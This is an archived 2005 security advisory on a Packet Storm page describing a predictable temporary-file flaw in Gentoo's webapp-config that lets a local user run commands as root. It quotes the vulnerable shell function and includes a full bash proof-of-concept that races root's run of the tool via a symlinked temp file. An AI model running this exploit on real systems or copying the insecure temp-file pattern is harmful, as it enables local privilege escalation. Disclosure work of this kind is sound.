exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

webapp-config-05182005.txt

webapp-config-05182005.txt
Posted May 22, 2005
Authored by Eric Romang | Site zataz.net

Gentoo webapp-config prior to v1.10-r14 insecure temp file creation advisory and local root exploit. Requires that the root user installs, upgrades, or deletes a Gentoo provided web application with the webapp-config tool. More information available here.

tags | exploit, web, local, root
systems | linux, gentoo
SHA-256 | 2b65efbc316467f3bf71596936ac3d3b83b43b919e292377283fe01bacb7a19b

webapp-config-05182005.txt

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

#########################################################

Gentoo webapp-config insecure temporary file creation

Vendor: http://www.gentoo.org
Advisory: http://www.zataz.net/adviso/webapp-config-05182005.txt
Vendor informed: yes
Exploit available: yes
Impact : high
Exploitation : low

#########################################################

Gentoo webapp-config contain a security flaw wich could allow a
malicious local user to execute command with root privileges.

The vulnerability is due to an insecure temporary file creation.

The exploitation require that the root user install, upgrade or delete
Gentoo provided web application with the webapp-config tool.

##########
Versions:
##########

webapp-config < 1.10-r14

##########
Solution:
##########

Upgrade to net-www/webapp-config 1.10-r14

#########
Timeline:
#########

Discovered : 2005-05-07
Vendor notified : 2005-05-07
Vendor response : 2005-05-07
Vendor fix : 2005-05-08
Disclosure :

#####################
Technical details :
#####################

Vulnerable code :
- -----------------

Begin line 2711

fn_show_postinst ()
{
if [ ! -f "${MY_APPDIR}/postinst-en.txt" ]; then
return
fi

local my_file="/tmp/$$.postinst.txt"

fn_run_vars

# we create a temporary file, so that we can expand the
variables
# that are used in the file

echo "cat <<webapp-EOF" > "$my_file"
cat "${MY_APPDIR}/postinst-en.txt" >> "$my_file"
echo "webapp-EOF" >> "$my_file"

# execute the temporary file, to generate the output

echo
. "$my_file"
echo

# it's a temporary file, so let's get rid of it now

rm -f "$my_file"
}

#####
POC :
#####

http://www.zataz.net/dev/webapp-poc.sh.txt

#########
Related :
#########

Bug report : https://bugs.gentoo.org/show_bug.cgi?id=91785
GLSA : Waiting for it

#####################
Credits :
#####################

Eric Romang (eromang@zataz.net - ZATAZ Audit)
Thxs to Gentoo Security Team. (Taviso, jaervosz, solar, etc.)

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (Darwin)

iD8DBQFCkF9vXXuxWE8lDAcRAjSjAJ0e4O5D5H2CDWOBex+Aay2BCYVznwCfci+7
KGXba0qvTu5b20ABcBkABKQ=
=7wI3
-----END PGP SIGNATURE-----




#!/bin/bash

# Eric Romang aka wow (eromang@zataz.net)
# webapp-config race condition how permit execution of arbitrary command with root privileges
# work with < webapp-config 1.10-r14

rm -f webapp-config_trace.txt fake_tmp_file /tmp/*.postinst.txt
touch ~/fake_tmp_file

echo "0" > webapp-config_trace.txt
status=`cat webapp-config_trace.txt`
echo "Waiting for webapp-config execution..."

while [ "$status" == 0 ]
do
ps auxw|grep webapp-config|grep root
if [ "$?" == 0 ]
then
echo "1" > webapp-config_trace.txt
fi
status=`cat webapp-config_trace.txt`
done

echo "Process caught !"
process_id=`pgrep -u root webapp-config`
ln -s ~/fake_tmp_file /tmp/$process_id.postinst.txt
echo "fake_file_created!"
echo "we force the file to be overwritten"

echo "0" > webapp-config_trace.txt
status=`cat webapp-config_trace.txt`
echo "Waiting the end of webapp-config"
echo "during all the configuration we force the file to be overwritten"
while [ "$status" == 0 ]
do
ps auxw|grep webapp-config|grep root
if [ "$?" == 1 ]
then
echo "1" > webapp-config_trace.txt
else
echo "echo premature end of script; exit 1;" > ~/fake_tmp_file
fi
status=`cat webapp-config_trace.txt`
done
echo "end of webapp-config"

Login or Register to add favorites

File Archive:

May 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    16 Files
  • 3
    May 3rd
    38 Files
  • 4
    May 4th
    15 Files
  • 5
    May 5th
    35 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    8 Files
  • 9
    May 9th
    65 Files
  • 10
    May 10th
    19 Files
  • 11
    May 11th
    27 Files
  • 12
    May 12th
    8 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    1 Files
  • 15
    May 15th
    19 Files
  • 16
    May 16th
    66 Files
  • 17
    May 17th
    28 Files
  • 18
    May 18th
    32 Files
  • 19
    May 19th
    13 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    23 Files
  • 23
    May 23rd
    15 Files
  • 24
    May 24th
    49 Files
  • 25
    May 25th
    20 Files
  • 26
    May 26th
    13 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    11 Files
  • 30
    May 30th
    46 Files
  • 31
    May 31st
    15 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close